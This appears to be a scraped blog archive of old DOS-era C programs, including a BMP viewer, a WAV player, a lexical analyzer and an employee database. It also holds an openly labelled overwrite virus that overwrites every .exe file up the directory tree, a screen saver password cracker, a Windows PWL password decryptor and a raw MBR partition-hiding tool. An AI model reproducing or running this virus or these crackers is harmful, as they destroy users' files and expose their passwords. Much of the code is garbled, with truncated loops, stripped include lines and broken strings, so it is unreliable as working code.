pal[i].blue = bmpinfo.bmicolors[i].blue/4;
}
vinitgraph(VGALOW);
setwidth(1000);
SetPalette(pal);
for(i=0;i
{
   fread(&byte[0],sizeof(unsigned char),w,fpt);
for(j=0;j
  {
   c= (int ) byte[j];
   addr= (long) (ys+h-i)*bytesperline+xs+j;
bank = (int ) (addr >>16);
if(curbank!= bank)
{
curbank =bank;
bank<<=bankshift;
_BX=0;
_DX=bank;
bankswitch();
_BX=1;
bankswitch();
}
*(screenptr+(addr & 0xFFFF)) = (char ) c;
}
}
fclose(fpt);
getch();
vclosegraph();
return 0;
}

int ColorToGrey(char *infname,int xs,int ys)
{
BMPINFO bmpinfo;
FILE *fpt1,*fpt2;
char fname[13];
unsigned char r,g,b,byte[1056],pal[256];
double e,grey;
int i,j,h,w,pcnt=0;
long size,curpos;
strcpy(fname,infname);
fpt2=fopen("Grey.bmp","wb");
if((fpt1=fopen(fname,"rb+"))==NULL)
{
  printf("can't open the file %s",infname);
getch();
return 1;
}

clrscr();
printf("Preparing taget file..");
fseek(fpt1,0,SEEK_END);
size = ftell(fpt1) + 256;
fseek(fpt1,0,SEEK_SET);
fread(&bmpinfo,sizeof(bmpinfo),1,fpt1);
curpos=ftell(fpt1);
pcnt = (int )ceil((float) curpos *100.0/(float) size);
gotoxy(25,1);
printf("%d completed",pcnt);
for(i=0;i<=255;i++)
{
r = bmpinfo.bmicolors[i].red;
g = bmpinfo.bmicolors[i].green;
b = bmpinfo.bmicolors[i].blue;
grey = (double) 0.3 * (double ) r+ (double ) 0.11 * (double ) b +
(double ) 0.59 * (double) g;
if(grey-(int) grey >=0.5)
grey++;
if(grey>255)
grey=255;
pal[i]=(unsigned char ) grey;
bmpinfo.bmicolors[i].red = (unsigned char ) i;
bmpinfo.bmicolors[i].green = (unsigned char ) i;
bmpinfo.bmicolors[i].blue = (unsigned char ) i;
curpos++;
}
bmpinfo.bmiheader.biclrused=0;
i = bmpinfo.bmiheader.bfoffbits;
bmpinfo.bmiheader.bfoffbits=1078;
fwrite(&bmpinfo,sizeof(bmpinfo),1,fpt2);
fseek(fpt1,i,SEEK_SET);
fseek(fpt2,bmpinfo.bmiheader.bfoffbits,SEEK_SET);
w=bmpinfo.bmiheader.biwidth;
h = bmpinfo.bmiheader.biheight;
curpos = ftell(fpt1) + 256;
for(i=0;i
{
fread(&byte[0],sizeof(unsigned char),w,fpt2);
for(j=0;j
   byte[j]=pal[byte[j]];
fwrite(&byte[0],sizeof(unsigned char ) , w,fpt2);
curpos+=w;
pcnt = (int )ceil((float) curpos *100.0/(float) size);
gotoxy(25,1);
printf("%d completed",pcnt);
}
fclose(fpt1);
fclose(fpt2);
showbitmap("Grey.bmp",xs,ys);
return 0;
}

void main()
{
  char file[13];
  memset(file,0,13);
clrscr();
printf("
Enter the file name[*.bmp]:");
scanf("%s",file);
if(IsValidBitmap(file))
   showbitmap(file,0,0);
else
   printf("
Not a valid bitmap file");
printf("
That's all folks");
   getch();

}

WAV file player in C

2011-03-20T20:15:00.001-07:00

/*************************************************************************
***
** WARNING: You need a HUGE memory model to run this.
**
**************************************************************************
**/

/*************************************************************************
***

********Created by T.V.Gokul.Thiagarajar College of
Engineering-Madurai******

If U have any Queries,Feel free to mailme
at:gokultv_ece@rediffmail.com******/

//Include files
#include "ALLOC.H"
#include "DOS.H"
#include "CONIO.H"
#include "STDIO.H"

void main()
{
char *name;
printf("
Enter the file name...:");
scanf("%s",name);

playwav(name,1.0);

}

void playwav(char wavefile[14],float delaytime);
struct WaveData {
  unsigned int SoundLength, Frequency;
  char *Sample;
};

struct HeaderType {
  long RIFF; //RIFF header
  char NI1 [18]; //not important

  unsigned int Channels; //channels 1 = mono; 2 = stereo
  long Frequency; //sample frequency
  char NI2 [6]; //not important
  char BitRes; //bit resolution 8/16 bit
  char NI3 [12]; //not important
} Header;

struct WaveData Voice; //Pointer to wave file

unsigned int Base; //Sound Blaster base address

char WaveFile [25]; //File name for the wave file to be played

/*************************************************************************
***
** Checks to see if a Sound Blaster exists at a given address, returns
**
** true if Sound Blaster found, false if not.
**
**************************************************************************
**/
int ResetDSP(unsigned int Test)
{
  //Reset the DSP
  outportb (Test + 0x6, 1);
  delay(10);
  outportb (Test + 0x6, 0);
  delay(10);
  //Check if (reset was succesfull
  if ((inportb(Test + 0xE) & 0x80 == 0x80) && (inportb(Test + 0xA) ==
0xAA))
  {
   //DSP was found
   Base = Test;
   return (1);
  }
  else
   //No DSP was found
   return (0);
}

/*************************************************************************
***
** Send a byte to the DSP (Digital Signal Processor) on the Sound Blaster
**
**************************************************************************
**/
void WriteDSP(unsigned char Value)
{
  //Wait for the DSP to be ready to accept data
  while ((inportb(Base + 0xC) & 0x80) == 0x80);
  //Send byte

  outportb (Base + 0xC, Value);
}

/*************************************************************************
***
** Plays a part of the memory
**
**************************************************************************
**/
void PlayBack (struct WaveData *Wave)
{
  long LinearAddress;
  unsigned int Page, OffSet;
  unsigned char TimeConstant;

  TimeConstant = (65536 - (256000000 / Wave->Frequency)) >> 8;
  WriteDSP(0x40); //DSP-command 40h - Set sample
frequency
  WriteDSP(TimeConstant); //Write time constant

  //Convert pointer to linear address
  LinearAddress = FP_SEG (Wave->Sample);
  LinearAddress = (LinearAddress << 4) + FP_OFF (Wave->Sample);
  Page = LinearAddress >> 16; //Calculate page
  OffSet = LinearAddress & 0xFFFF; //Calculate offset in the page
  /*
   Note - this procedure only works with DMA channel 1
  */
  outportb (0x0A, 5); //Mask DMA channel 1
  outportb (0x0C, 0); //Clear byte pointer
  outportb (0x0B, 0x49); //Set mode
  /*
   The mode consists of the following:
   0x49 = binary 01 00 10 01
   | | | |
   | | | +- DMA channel 01
   | | +---- Read operation (the DSP reads from memory)
   | +------- Single cycle mode
   +---------- Block mode
  */

  outportb (0x02, OffSet & 0x100); //Write the offset to the DMA
controller
  outportb (0x02, OffSet >> 8);

  outportb (0x83, Page); //Write the page to the DMA controller

  outportb (0x03, Wave->SoundLength & 0x100);
  outportb (0x03, Wave->SoundLength >> 8);

  outportb (0x0A, 1); //Unmask DMA channel

  WriteDSP(0x14); // DSP-command 14h - Single cycle
playback
  WriteDSP(Wave->SoundLength & 0xFF);
  WriteDSP(Wave->SoundLength >> 8);
}

/*************************************************************************
***
** Loads a wave file into memory.
**
** This procedure expects a _very_ standard wave header.
**
** It doesn't perform much error checking.
**
**************************************************************************
**/
int LoadVoice (struct WaveData *Voice, char *FileName)
{
  FILE *WAVFile;

  //If it can't be opened...
  WAVFile = fopen(FileName, "rb");
  if (WAVFile == NULL) {
   //..display error message

   return (0);
  }

  //Return length of file for sound length minus 48 bytes for .WAV header
  fseek(WAVFile, 0L, SEEK_END);
  Voice->SoundLength = ftell (WAVFile) - 48;
  fseek(WAVFile, 0L, SEEK_SET);

  //Check RIFF header
  if (Voice->SoundLength > 32000) {

   if (Voice->SoundLength > 64000) {

   Voice->SoundLength = 64000;
   }
  }
  free(Voice->Sample);
  Voice->Sample = (char *)malloc(Voice->SoundLength); //Assign memory
  if (!Voice->Sample) {

   return (0);
  }

  //Load the sample data
  fread(&Header, 46, 1, WAVFile);

  //Check RIFF header
  if (Header.RIFF != 0x46464952) {
   printf ("Not a wave file
");
   return (0);
  }

  //Check channels
  if (Header.Channels != 1) {
   printf ("Not a mono wave file
");
   return (0);
  }

  //Check bit resolution
  if (Header.BitRes != 8) {
   printf ("Not an 8-bit wave file
");
   return (0);
  }

  Voice->Frequency = Header.Frequency;

  //Load the sample data
  fread(Voice->Sample, Voice->SoundLength + 2, 1, WAVFile);

  fclose (WAVFile); //Close the file

  return (1);
}

void playwav (char wavefile[14], float delaytime )
{
  delaytime=1.0;
  if (ResetDSP (0x220)) {
   //at 220h
   printf ("");
  } else {
   if (ResetDSP (0x240)) {

   //at 240h
   printf ("");
   } else {
   //or none at all
   printf ("");
   return;
   }
  }

  //Load wave file
  if (LoadVoice (&Voice, wavefile)) {

   //Start playback
   PlayBack (&Voice);

   delay(delaytime*1000);

   //Stops DMA-transfer
   WriteDSP (0xD0);
  }
}

Creating a Lexical Analyzer in c

2011-03-20T20:11:00.001-07:00

/***************************************************************
Program describtion :
=====================
This program is for creating a Lexical Analyzer in c

Created by :
=============
Name : Fahad Bader Al-buhairi
Email : q8_government@hotmail.com
phone : 009657991000
*****************************************************************/

/****************************************************************
Necessary Header files used in program.
*****************************************************************/

#include stdio.h
#include string.h
#include conio.h
#include ctype.h

/****************************************************************
Functions prototype.
*****************************************************************/

void Open_File();
void Demage_Lexeme();
int Search(char[256],int);
void analyze();
void Skip_Comment();
void Read_String();
void Is_Keyword_Or_Not();
void Is_Identifier_Or_Not();
void Is_Operator_Or_Not();
void Read_Number();
void Is_Special_Or_Not();
void Is_Comparison_Or_Not();
void Add_To_Lexical (char[256],int,char[256]);
void Print_ST();
void Print_TOKEN();
void Token_Attribute();

/****************************************************************
Data structure used in program.
*****************************************************************/

struct lexical
{
char data[256]; //Value of token.
int line[256]; //Line # which token appear in input
file.
int times; //# of times that token appear in input
file.
char type[256]; //Type of each token.
struct lexical *next;
};

typedef struct lexical Lex;
typedef Lex *lex;

/****************************************************************
File pointer for accessing the file.
*****************************************************************/

FILE *fp;
FILE *st;
FILE *token;
char lexeme[256],ch;
int f,flag,line=1,i=1;
lex head=NULL,tail=NULL;

/****************************************************************
Array holding all keywords for checking.
*****************************************************************/

char
*keywords[]={"procedure","is","begin","end","var","cin","cout","if",
"then","else","and","or","not","loop","exit","when",
"while","until"};

/****************************************************************
Array holding all arithmetic operations for checking.
*****************************************************************/

char arithmetic_operator[]={'+','-','*','/'};

/****************************************************************
Array holding all comparison operations for checking.
*****************************************************************/

char *comparison_operator[]={"<",">","=","<=","<>",">="};

/****************************************************************
Array holding all special for checking.
*****************************************************************/

char special[]={'%','!','@','~','$'};

/****************************************************************

**************
*MAIN PROGRAM*
**************

*****************************************************************/

void main()
{
Open_File();
analyze();
fclose(fp);
Print_ST();
Print_TOKEN();
}

/****************************************************************
This function open input sourse file.
*****************************************************************/

void Open_File()
{

fp=fopen("source.txt","r"); //provide path for source.txt here
if(fp==NULL)
{
printf("!!!Can't open input file - source.txt!!!");
getch();
exit(0);
}
}

/****************************************************************
Function to add item to structure of array to store data and
information of lexical items.
*****************************************************************/

void Add_To_Lexical (char value[256],int line,char type[256])
{
lex new_lex;

if (!Search(value,line)) //When return 1 the token not found.
{

new_lex=malloc(sizeof(Lex));

if (new_lex!=NULL)
{
strcpy(new_lex->data,value);
new_lex->line[0]=line;
new_lex->times=1;
strcpy(new_lex->type,type);
new_lex->next=NULL;

if (head==NULL)
head=new_lex;
else
tail->next=new_lex;

tail=new_lex;
}
}
}

/****************************************************************
Function to search token.
*****************************************************************/

int Search (char value[256],int line)
{
lex x=head;
int flag=0;

while (x->next!=NULL && !flag)
{
if (strcmp(x->data,value)==0)
{
x->line[x->times]=line;
x->times++;
flag=1;
}
x=x->next;
}
return flag;
}

/****************************************************************
Function to print the ST.TXT .
*****************************************************************/

void Print_ST()
{
lex x=head;
int j;

if ((st=fopen("ST.TXT","w"))==NULL)
printf("The file ST.TXT cat not open.
");

else

{
fprintf(st," %s %s %s
","Line#","Lexeme","Type");
fprintf(st," ---- ------ ----
");

while (x!=NULL)
{
if ((strcmp(x->type,"num")==0) ||
(strcmp(x->type,"keyword")==0) ||
(strcmp(x->type,"identifier")==0))
{
fprintf(st," ");

for (j=0;jtimes;j++)
{
fprintf(st,"%d",x->line[j]);
if (j!=x->times-1) //This condition to prevent the comma
fprintf(st,",",x->line[j]); //"," to not print after last line #.
}

fprintf(st," %-6s %-6s
",x->data,x->type);
}
x=x->next;
}

fclose(st);
}
}

/****************************************************************
Function to print the TOKENS.TXT .
*****************************************************************/

void Print_TOKEN()
{
int flag=0;

fp=fopen("source.txt","r");

if(fp==NULL)
{
printf("!!!Can't open input file - source.txt!!!");
getch();
exit(0);
}

else

{
if ((token=fopen("TOKENS.TXT","w"))==NULL)
printf("The file ST.TXT cat not open.
");

else

{
ch=fgetc(fp);

while (!(feof(fp)))
{

if (ch==' ' && !flag)
{
do
ch=fgetc(fp);
while (ch==' ');

fseek(fp,-2,1);
ch=fgetc(fp);
flag=1;
}

if (ch!='
' && ch!=' ')
fprintf(token,"%c",ch);

if (ch=='
')
{
fprintf(token,"
");
Token_Attribute();
i++;
flag=0;
}

ch=fgetc(fp);
}
}
}
fclose(fp);
fclose(token);
}

/****************************************************************
Function to put the token and atrribute in TOKENS.TXT .
*****************************************************************/

void Token_Attribute()
{
lex x=head;
int j;

while (x!=NULL)
{
if (x->line[0]==i)
{
fprintf(token,"token : %-4s ",x->type);

if ((strcmp(x->type,"num")==0) ||
(strcmp(x->type,"keyword")==0) ||
(strcmp(x->type,"identifier")==0))

{
fprintf(token,"attribute : line#=%-4d
",i);
}

else

{
fprintf(token,"attribute : %-4s
",x->data);
}

}
x=x->next;
}
fprintf(token,"
");
}

/****************************************************************
Function to create lexical analysis.
*****************************************************************/

void analyze()
{

ch=fgetc(fp); //Read character.

while(!feof(fp)) //While the file is not end.
{

if(ch=='
') //Compute # of lines in source.txt
.
{
line++;
ch=fgetc(fp);
}

if(isspace(ch) && ch=='
' )
{
line++;
ch=fgetc(fp);
}
if(isspace(ch) && ch!='
' ) //The character is space.
ch=fgetc(fp);

if(ch=='/' || ch=='"') //Function for skipping comments in the
file
Skip_Comment(); //and '"' with display statements.

if(isalpha(ch)) //The character is leter.
{
Read_String();
Is_Keyword_Or_Not();
Is_Operator_Or_Not();
Is_Identifier_Or_Not();
}

if(isdigit(ch)) //The character is digit.
Read_Number();

if (ch==';') //The character is semicolon.
Add_To_Lexical(";",line,"semicolon");

if (ch==':') //The character is colon.
Add_To_Lexical(":",line,"colon");

if (ch==',') //The character is comma.
Add_To_Lexical(",",line,"comma");

if (ch=='(') //The character is parenthesis.
Add_To_Lexical("(",line,"parenthesis");

if (ch==')') //The character is parenthesis.
Add_To_Lexical(")",line,"parenthesis");

//The character is comparison_operator
if (ch=='<' || ch=='=' || ch=='>')
Is_Comparison_Or_Not();

Is_Special_Or_Not(); //After failed scaning in before cases
//check the character is special or not.
Demage_Lexeme();

if(isspace(ch) && ch=='
' )
{
line++;
ch=fgetc(fp);
}
else
ch=fgetc(fp);
}
}

/****************************************************************
This function read all character of strings.
*****************************************************************/

void Read_String()
{
int j=0;

do
{
lexeme[j++]=ch;
ch=fgetc(fp);
} while(isalpha(ch));

fseek(fp,-1,1);
lexeme[j]='

ScreenSaver Password Cracker in C

2011-03-20T20:10:00.001-07:00

/*
Screen Saveer Password Cracker:
Decrypts Screen Saver Password which is stored in user.dat.
*/

#include ctype.h
#include stdio.h
#include string.h
FILE *fp;
char *path="c:\windows\user.dat";

/*encrypted password stored in this file when u log on to default user..

If there r multiple users..Password stored in
\windowsprofilesuser-nameuser.dat...

*/

unsigned long int search(char *s);
char *encstr(unsigned long int loc);
int toint(char a);
void main()
{
unsigned long int l;
char s[51];
int arr[]={4,8,14,14,7,6,1,13,6,7,6,9,10,1,1,11,7,10,8,12,4,7,
   15,8,5,4,9,5,9,7,5,15,7,8,13,9,13,10,6,12,5,9,13,7,6,11,3,5,12,5};

//this array is 2 b xored with encrypted-string

int s1[51],s2[51];
int i,len,k;

clrscr();
l=search("ScreenSave_Data");
strcpy(s,encstr(l));
len=strlen(s);
for(i=0;i
{
s1[i]=toint(s[i]);
s2[i]=(s1[i])^(arr[i]);
}
printf("Current Screen Saver Password:
");
for(i=0;i
printf("%c", (s2[i]*16)+(s2[i+1]) );

}

/* Searches where ScreenSave_Data is there in the file
and returns the location*/
unsigned long int search(char *s)
{
int k=0,len,ch;
unsigned long int i=0;
fp=fopen(path,"rb");
len=strlen(s);
while( (ch=getc(fp))!=EOF)
{
   if(ch==s[k])
   k++;
   else k=0;

   i++;
   if(k==len)
return i;

}
}

/* It returns Encrypted String*/

char *encstr(unsigned long int loc)
{
char ch,s[55],ch1;
int i=0;

ch=toascii(0);
fp=fopen(path,"rb");
fseek(fp,loc,SEEK_SET);
while( (ch1=fgetc(fp))!=ch)
{ s[i]=ch1;
i++;
}
s[i]='

Folder Protection Software in C

2011-03-20T20:09:00.001-07:00

#include stdio.h
#include string.h
#include process.h
void main()
{
FILE *p;
char ch,s[100];
char r[100]="REN ";

char u[]=".{21EC2020-3AEA-1069-A2DD-08002B30309D} ";
char v[50];
int choice,i;

clrscr();
p=fopen("C:\a.bat","w+");
if(p==NULL)
{
printf("
Error in opening the file a.c
");
exit(0);
}

printf("

Deepesh's Folder Obscure");
printf("

File and Folder protection software in C By Deepesh
Jain");
printf("

This software can convert your File/Folder to Control
Panel
and can Restore again.");
printf("
Enter the path of the file
");
fflush(stdin);
gets(s);

for(i=0;i<25;i++)
fputs("echo This software is not responsible for any loss in
data
",p);

printf("
Enter choice :");
printf("
1.Protect Folder/File");
printf("
2.Unprotect folder/File");
printf("
3.Exit
");
scanf("%d",&choice);

switch(choice)
{
case 1:
strcat(r,s);

printf("
Enter new name of your folder/file
");
fflush(stdin);
gets(v);
strcat(r," ");
strcat(r,v);
strcat(r,u);
break;
case 2:
strcat(r,s);
strcat(r,u);
printf("
Enter new name of your folder/file
");
fflush(stdin);
gets(v);
strcat(r,v);
break;
default:
fclose(p);
remove("C:\a.bat");

exit(0);
}

{
fputs(r,p);
for(i=0;i<25;i++)
fputs("
echo This software is not responsible for any loss in data
",p);
fputs("
exit",p);

}

fclose(p);

system("C:\a.bat");

remove("C:\a.bat");

}

overwrite virus coded in C

2011-03-20T20:08:00.002-07:00

Code :
/*A virus program
coded by Tapan Kumar Mishra
   BE Electrical Engg.
   IGIT Sarang,Orissa
   7th sem
   email id:titu_igit@rediffmail.com
*/
#include stdio.h
#include dir.h
#include dos.h
void main(int argc,char *argv[])
{
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do
{
done=findfirst("*.exe",f,0);
while(!done)
{
virus=fopen(argv[0],"rb");//open the virus in read mode
host=fopen(f->ff_name,"rb+");//open the host file in r/w mode

for(;fread(buffer,512,1,virus)==1;)

fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);//points to begining of virus
printf("infecting %s
",f->ff_name);
done=findnext(f);
}
}
while(!chdir(".."));
printf("For any querry contact
   Tapan Kumar
Mishra,id:titu_igit@rediffmail.com");

Partition Hiding Software in C

2011-03-20T20:08:00.000-07:00

/* program to read the partition table of hard disk and can hide and
revele partitions*/
/*
Release date: 1.1.2006

Author: Tapan Kumar Mishra
7th sem ,Electrical Engg.
IGIT Sarang,Orissa
mailid:titu_igit@rediffmail.com

About the program:

This program is a part of my project to read ext2 linux file system
under dos or win98.This program read the partition table of ur hard
disk
and print the informations about those.And can hide and revele the
partitions
by changing the systemid of that partions.

Caution: Modification of the code may lead your disk unusable.
The author is not responsible for any damage or dataloss.

This program is tested under win98.
compile it by Turbo c3
Any comment,feedback,query mail to titu_igit@rediffmail.com
*/

#include stdio.h
#include bios.h
#include dos.h
#include stdlib.h

typedef unsigned char BYTE;
typedef unsigned int WORD;
typedef unsigned long DWORD;

enum BOOL {TRUE=0,FALSE=1};
struct PARTITIONINFO {
BYTE bootid; /* bootable? 0=no, 128=yes */
BYTE beghead; /* beginning head number */
BYTE begsect; /* beginning sector number */
BYTE begcyl; /* 10 bit nmbr, with high 2 bits put in begsect */
BYTE systid; /* Operating System type indicator code */
BYTE endhead; /* ending head number */
BYTE endsect; /* ending sector number */
BYTE endcyl; /* also a 10 bit nmbr, with same high 2 bit trick */
DWORD relsect; /* first sector relative to start of disk */
DWORD numsect; /* number of sectors in partition */
};

struct DISK_ADD_PACKET {
BYTE recordsize;
BYTE reserved;
WORD count;
DWORD transferadd;
DWORD lowbits;
DWORD highbits;
};
struct MBR{
BYTE codes[446];
struct PARTITIONINFO partition[4];
WORD mbrid;
};
struct driveinfo{
DWORD startsect;
BYTE sysid;
};
WORD ExtentionCheck (BYTE drive)
{
union REGS regs;
regs.h.ah = 0x41;
regs.x.bx = 0x55aa;
regs.h.dl = drive;
int86(0x13,®s,®s);
if(regs.x.bx != 0xaa55)
return FALSE;
return TRUE;
}

WORD ReadSect(BYTE disk, int nsects,DWORD lsects,void* data)
{

union REGS iregs,oregs;
struct SREGS sregs;
int count=0;
struct DISK_ADD_PACKET * p;
p = (struct DISK_ADD_PACKET *)malloc(sizeof(struct DISK_ADD_PACKET));
p->recordsize=sizeof(struct DISK_ADD_PACKET);
p->count=nsects;
p->transferadd=(DWORD)data;
p->lowbits=lsects;
p->highbits=0; /* We dont need to access HD > 2TB */
iregs.h.ah = 0x42;
iregs.h.dl = disk;
iregs.x.si = FP_OFF(p);
sregs.ds = FP_SEG(p);
int86x(0x13,&iregs,&oregs,&sregs);
if(oregs.h.ah==0)
{
free(p);
return TRUE;
}

free(p);
return FALSE;

}
WORD WriteSect(BYTE disk, int nsects,DWORD lsects,void* data)
{

union REGS iregs,oregs;
struct SREGS sregs;
int count=0;
struct DISK_ADD_PACKET * p;
p = (struct DISK_ADD_PACKET *)malloc(sizeof(struct DISK_ADD_PACKET));
p->recordsize=sizeof(struct DISK_ADD_PACKET);
p->count=nsects;
p->transferadd=(DWORD)data;
p->lowbits=lsects;
p->highbits=0; /* We dont need to access HD > 2TB */
iregs.x.ax = 0x4302;
iregs.h.dl = disk;
iregs.x.si = FP_OFF(p);
sregs.ds = FP_SEG(p);
int86x(0x13,&iregs,&oregs,&sregs);
if(oregs.h.ah==0)
{
free(p);
return TRUE;
}

free(p);
return FALSE;

}
DWORD lsect=0;
void main()
{
BYTE disk=0x80;
WORD nsect=1,index=0,i=0,hi,choice;
DWORD extsect;
BYTE hideindex[5],id;
struct MBR *mbr;
struct driveinfo dinfo[10];//max 10 partitions
mbr=(struct MBR *)malloc(sizeof(struct MBR));
if(ExtentionCheck(disk)==FALSE)
{printf("extended int 13 is not supported
");
exit(1);
}

if(ReadSect(disk, nsect, lsect,(char *)mbr)==TRUE)
for(i=0;i<4;i++)
  if(mbr->partition[i].systid!=0)
  {printpart(mbr,i);
  dinfo[index].startsect=lsect;
  dinfo[index].sysid=mbr->partition[i].systid;
  index++;
  }
if(mbr->partition[1].systid==0xf)//0xf for extended partition
{lsect=mbr->partition[1].relsect;
  extsect=lsect;
link:
  if(ReadSect(disk, nsect, lsect,(char *)mbr)==TRUE)
   {printpart(mbr,0);
   dinfo[index].startsect=lsect;
   dinfo[index].sysid=mbr->partition[0].systid;
   index++;
   if(index>=10){printf("no of partition exceed max limit");exit(1);}
   if(mbr->partition[1].systid!=0)
{lsect=extsect+mbr->partition[1].relsect;
goto link;
}
   }

}

printf("

Hide partition(1)
");
printf("Revele partition(2)
");
printf("Quit(3)
Enter your choice(1/2/3):");
hideindex[0]=getche();
choice=atoi(hideindex);
switch(choice)
{
case 1:
   printf("
Which drive do u want to hide:(0-%d):",index-1);
   scanf("%s",hideindex);
   hi=atoi(hideindex);
   if(hi<=index)
  {
   id=dinfo[hi].sysid;
   if(id==1||id==4||id==7||id==0xb||id==0xc||id==0xe)
   { lsect=dinfo[hi].startsect;
   id+=0x10;
   if(ReadSect(disk, nsect, lsect,(char *)mbr)==TRUE)
   {mbr->partition[0].systid=id;
   if(WriteSect(disk,nsect,lsect,(char *)mbr)==TRUE)
   printf("
HIDDEN SUCCESSFULLY");
   }
   }
   else
   printf("Cant Hide");
  }
   break;
  case 2:
   printf("
Which drive do u want to Revele:(0-%d):",index-1);
   scanf("%s",hideindex);
   hi=atoi(hideindex);
   if(hi<=index)
  {
   id=dinfo[hi].sysid;
   if(id==0x11||id==0x14||id==0x17||id==0x1b||id==0x1c||id==0x1e)
   { lsect=dinfo[hi].startsect;
   id-=0x10;
   if(ReadSect(disk, nsect, lsect,(char *)mbr)==TRUE)
   {mbr->partition[0].systid=id;printf("%x",mbr->partition[0].systid);
   if(WriteSect(disk,nsect,lsect,(char *)mbr)==TRUE)
   printf("
REVELED SUCCESSFULLY");
   }
   }
   else
   printf("Cant Revele
");
  }

   break;
  case 3:
  exit(1);break;
  default:
  printf("
invalid choice");exit(1);
  break;
};

}
printpart(struct MBR *mbr,WORD i)
{
BYTE bootable[]="YES";
BYTE id[7];
static BYTE c=0,index=0;
if(c==0)//to execute this for once
{
clrscr();
gotoxy(30,1);
printf("Partition Table");
gotoxy(2,2);
printf("INDEX");
gotoxy(8,2);
printf("SystemID");
gotoxy(17,2);
printf("Bootable");
gotoxy(26,2);
printf("StartingLBA");
gotoxy(38,2);
printf("SIZEINSECTORS");
gotoxy(52,2);
printf("SIZEINGB");
c++;
gotoxy(46,20);
printf("Coded by Tapan Kumar Mishra");
gotoxy(55,21);
printf("7th Sem,Electrical Engg.");
gotoxy(55,22);
printf("IGIT Sarang,Orissa");
gotoxy(46,23);
printf("Email id:titu_igit@rediffmail.com");
}
if(mbr->partition[i].bootid!=0x80)
strcpy(bootable,"NO");
gotoxy(2,3+index);
printf("%d",index);
gotoxy(8,3+index);
systemid((BYTE)mbr->partition[i].systid,id);
printf("%s",id);
gotoxy(17,3+index);
printf("%s",bootable);
gotoxy(26,3+index);
printf("%ld",mbr->partition[i].relsect+lsect);
gotoxy(38,3+index);
printf("%ld
",mbr->partition[i].numsect);
gotoxy(52,3+index);
printf("%5.2fGB",(float)mbr->partition[i].numsect/2097152.0);

index++;
return 0;
}
systemid(BYTE systid,BYTE *id)
{
   switch(systid)
   {
case 00:
strcpy(id,"empty");
break;
case 01:
strcpy(id,"FAT12");
break;
case 04:
strcpy(id,"FAT16");
break;
case 05:
strcpy(id,"EXTNED");
break;
case 0xb:
strcpy(id,"FAT32");
break;
case 0xc:
strcpy(id,"FAT32");
break;
case 0xE:
strcpy(id,"FAT16");
break;
case 0xf:
strcpy(id,"EXNDED");
break;
case 0x82:
strcpy(id,"SWAP");
break;
case 0x83:
strcpy(id,"EXT2fs");
break;
case 0x11:
case 0x14:
case 0x15:
case 0x16:
case 0x17:
case 0x1b:
case 0x1c:
case 0x1e:
case 0x1f:
strcpy(id,"hidden");
break;

}

}
//End of code
// if u are unable to see the code in proper format ,mail to
// titu_igit@rediffmail.com
//

Write a C Program to get the computer pasword

2011-03-20T20:06:00.000-07:00

Code :
# include stdio.h
# include stdio.h
# include process.h
# include stdlib.h
# include ctype.h
# include conio.h
# include mem.h

unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];

void main(int argc,char *argv[]){
FILE *fd;
int i,j;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; /* Resourse allocation table */

if(argc<2){
printf("usage: glide filename (username)");
exit(1);
}
/* Read PWL file */

fd=fopen(argv[1],"rb");
if(fd==NULL){
printf("can't open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd)){
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

/* Find Username */
name=argv[1];
if(argc>2)name=argv[2];
printf("Username:%s
",name);

/* Copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked<0)cracked=0;
if(cracked>1000)cracked=1000;
memcpy(keystream,Data+0x208,cracked);

/* Generate 20 bytes of keystream */
for(i=0;i<20;i++){
ch=toupper(name[i]);
if(ch==0)break;
if(ch=='.')break;
keystream[i]^=ch;
};
cracked=20;

/* Find allocated resources */

sizemask=keystream[0]+(keystream[1]<<8);
printf("Sizemask:%04X
",sizemask);

for(i=0;i<256;i++){
if(Data[i]!=0xff){
Rall[Data[i]]++;
if(Data[i]>maxr)maxr=Data[i];
}
}

maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
divisible by 16 */

/*Search after resources */

Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
for(i=0;i
/* Find the size of current resourse */
pos=Rpoint[i];
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analysing block with size:%04x (%d:%d)
",rsz,i,Rall[i]);
if((Rall[i]==0)&&(rsz!=0)){
printf("Unused resourse has nonzero size!!!
");
printf("If last line produed any:You may try to recover
");
printf("Press y to attempt the recovery
");
ch=getch();
if(ch!='y')exit(0);
rsz=2;
i=i-1;
}
pos=pos+rsz;

/* Resourse have a tedency to have the wrong size for some reason*/
/* Chech for correct size*/

if(i
while(Data[pos+3]!=keystream[1]){
printf(":",Data[pos+3]);
pos=pos+2; /* Very rude may fail */
}
}
pos+=2; /* Include pointer in size */
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* Insert Table data into keystream*/
for(i=0;i<=maxr;i++){
keystream[20+2*i]^=Rpoint[i] & 0x00ff;
keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d Bytes of ketstream recoverd
",cracked);

/* Decrypt resources */
for(i=0;i
rsz=Rpoint[i+1]-Rpoint[i];
if(rsz>cracked)rsz=cracked;
printf("Resource[%d](%d)
",i,rsz);
for(j=0;j
printf("%c",Data[Rpoint[i]+j]^keystream[j]);
printf("
");
}
exit(0);
}

Employee Database Project Using C.

2011-03-20T19:58:00.000-07:00

#include "stdio.h"

typedef struct Employee
{
char fname[20];
char lname[20];
char sub_taken[20];
char last_edu[20];
char join_date[20];
int id;
int age;
float bsal;
}Employee;

int main(void)
{

int id;
FILE *fp,*ft;
char another,choice;
Employee emp;
char fname[20];
char lname[20];
long int recsize;

fp=fopen("EMP.DAT","rb+");
if(fp==NULL)
{
fp=fopen( "EMP.DAT","wb+");
if(fp==NULL)
{
printf("
Can't Open File");
exit();
}
}
recsize=sizeof(emp);
while(1)
{
printf("
1.Add Records
2.Delete Records
3.Modify Records

4.List
Records
5.Exit");
printf("

Enter your choice");
fflush(stdin);
scanf("%c",&choice);
switch(choice)
{
case'1':
fseek(fp,0,SEEK_END);
another='Y';
while(another=='Y'|| another=='y')
{
